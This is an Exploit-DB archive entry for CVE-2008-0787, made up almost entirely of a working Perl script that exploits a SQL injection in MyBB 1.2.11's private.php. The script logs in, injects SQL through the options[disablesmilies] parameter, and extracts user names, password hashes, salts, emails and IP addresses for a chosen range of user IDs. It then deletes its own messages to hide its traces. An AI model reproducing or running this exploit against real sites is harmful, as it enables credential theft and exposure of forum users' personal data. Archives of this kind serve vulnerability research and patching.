MyBulletinBoard MyBB <= 1.2.11 - private.php SQL Injection Exploit

2008-02-06T00:00:00
ID EDB-ID:5070
Type exploitdb
Reporter F
Modified 2008-02-06T00:00:00

Description

MyBulletinBoard (MyBB) <= 1.2.11 private.php SQL Injection Exploit. CVE-2008-0787. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl

#
# MyBB &lt;=1.2.11 SQL Injection Exploit based on http://www.waraxe.us/advisory-64.html
#
# Needs MySQL &gt;=4.1 and a valid registration.
#
# By F
#

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use HTML::Entities;

####

	print("\n");
	print("############################################################################\n");
	print("#                 MyBB &lt;=1.2.11 SQL Injection Exploit by F                 #\n");
	print("############################################################################\n");

if(@ARGV&lt;5){
	print("# Usage: perl mybb1211.pl host path user pass victim_uid [last_victim_uid] #\n");
	print("############################################################################\n");
	exit;
};

$host="http://".$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$pass=$ARGV[3];
$vid1=$ARGV[4];

if(@ARGV&lt;=5){
	$vidn=$vid1;
}else{
	$vidn=$ARGV[5];
};

print("\n");
print(" [~] Host: ".$host."\n");
print(" [~] Path: ".$path."\n");
print(" [~] User: ".$user."\n");
print(" [~] Pass: ".$pass."\n");
print(" [~] From  #".$vid1."\n");
print(" [~] To    #".$vidn."\n");
print("\n");

####

# create $browser and $cookie_jar
$browser=LWP::UserAgent-&gt;new() or die(" [-] Cannot create new UserAgent\n");
$cookie_jar=HTTP::Cookies-&gt;new();
$browser-&gt;cookie_jar($cookie_jar);

# try to log in
$result=$browser-&gt;post(
	$host.$path."member.php",
	Content=&gt;[
		"action"=&gt;"do_login",
		"username"=&gt;$user,
		"password"=&gt;$pass,
		"url"=&gt;$host.$path."index.php",
		"submit"=&gt;"Login",
	],
);

# check cookie
if($cookie_jar-&gt;as_string=~m/mybbuser=.*?;/){
	print(" [+] Login successful\n");
}else{
	print(" [-] Login unsuccessful\n");
	exit;
};

# try to get uid
$result=$browser-&gt;get($host.$path."usercp.php");

# check result
if($result-&gt;as_string=~m/member\.php\?action=profile&amp;uid=([0-9]*?)"/){
	$uid=$1;
	print(" [+] Getting uid successful: ".$uid."\n");
}else{
	print(" [-] Getting uid unsuccessful\n");
	exit;
};

# construct exploit
$exploit ="yes','0','0'),";
$exploit.="('".$uid."','".$uid."','".$uid."','1','haxx_result','0',concat('(haxx_start)',";
for($vid=$vid1;$vid&lt;=$vidn;$vid++){
	$exploit.="ifnull((select concat(uid,'-',username,':',password,':',salt,'::',email,'-',usergroup,'-',additionalgroups,'-',website,'-',regip,'(haxx_delim)') from mybb_users where uid=".$vid."),''),";
};
$exploit.="'(haxx_end)'),'".time()."','0','no','yes";

# try to send exploit
$result=$browser-&gt;post(
	$host.$path."private.php",
	Content=&gt;[
		"action"=&gt;"do_send",
		"subject"=&gt;"haxx_message=".(1+rand(65536)),
		"message"=&gt;"nuthin".(1+rand(65536)),
		"to"=&gt;$user,
		"options[disablesmilies]"=&gt;$exploit,
	],
);

# check if user is valid
if(	($result-&gt;as_string=~m/Your account has either been suspended or you have been banned from accessing this resource\./) ||
	($result-&gt;as_string=~m/You do not have permission to access this page\./) ||
	($result-&gt;as_string=~m/Your account may still be awaiting activation or moderation\./)
){
	print(" [-] User has no permission to send private messages. This can happen if the user is suspended, banned, unactivated, or for other similar reasons.\n");
	exit;
};

# check the 5 minute cap
if($result-&gt;as_string=~m/You have already submitted the same private message to the same recipient within the last 5 minutes\./){
	print(" [-] Unsuccessful attempt to fool MyBB with the 5 minute limit on sending private messages. Please run the exploit again.\n");
	exit;
};

# delete auxiliary message
$result=$browser-&gt;get($host.$path."private.php?fid=1");
if($result-&gt;as_string=~m/private\.php\?action=read&amp;pmid=([0-9]*?)"&gt;haxx_message=[0-9]*?&lt;/){
	print(" [+] The auxiliary message was found and successfully deleted\n");
	$pmid=$1;
	$browser-&gt;get($host.$path."private.php?action=delete&pmid=".$pmid);
}else{
	print(" [-] Warning! The auxiliary message wasn't found and could not be deleted!\n");
};

# download and delete result message
if($result-&gt;as_string=~m/private\.php\?action=read&amp;pmid=([0-9]*?)"&gt;haxx_result&lt;/){
	print(" [+] The result message was found. Getting hashes.\n\n");
	$pmid=$1;
	$result=$browser-&gt;get($host.$path."private.php?action=read&pmid=".$pmid);
	if($result-&gt;as_string=~m/\(haxx_start\)(.*)\(haxx_end\)/s){
		$pm=$1;
		$pm=~s/\(haxx_delim\)/\n/g;
		$pm=~s/&lt;br \/&gt;//g;
		$pm=decode_entities($pm);
		print($pm);
	};
	$browser-&gt;get($host.$path."private.php?action=delete&pmid=".$pmid);
}else{
	print(" [-] The result message wasn't found. Exploit failed!\n");
	exit;
};

# milw0rm.com [2008-02-06]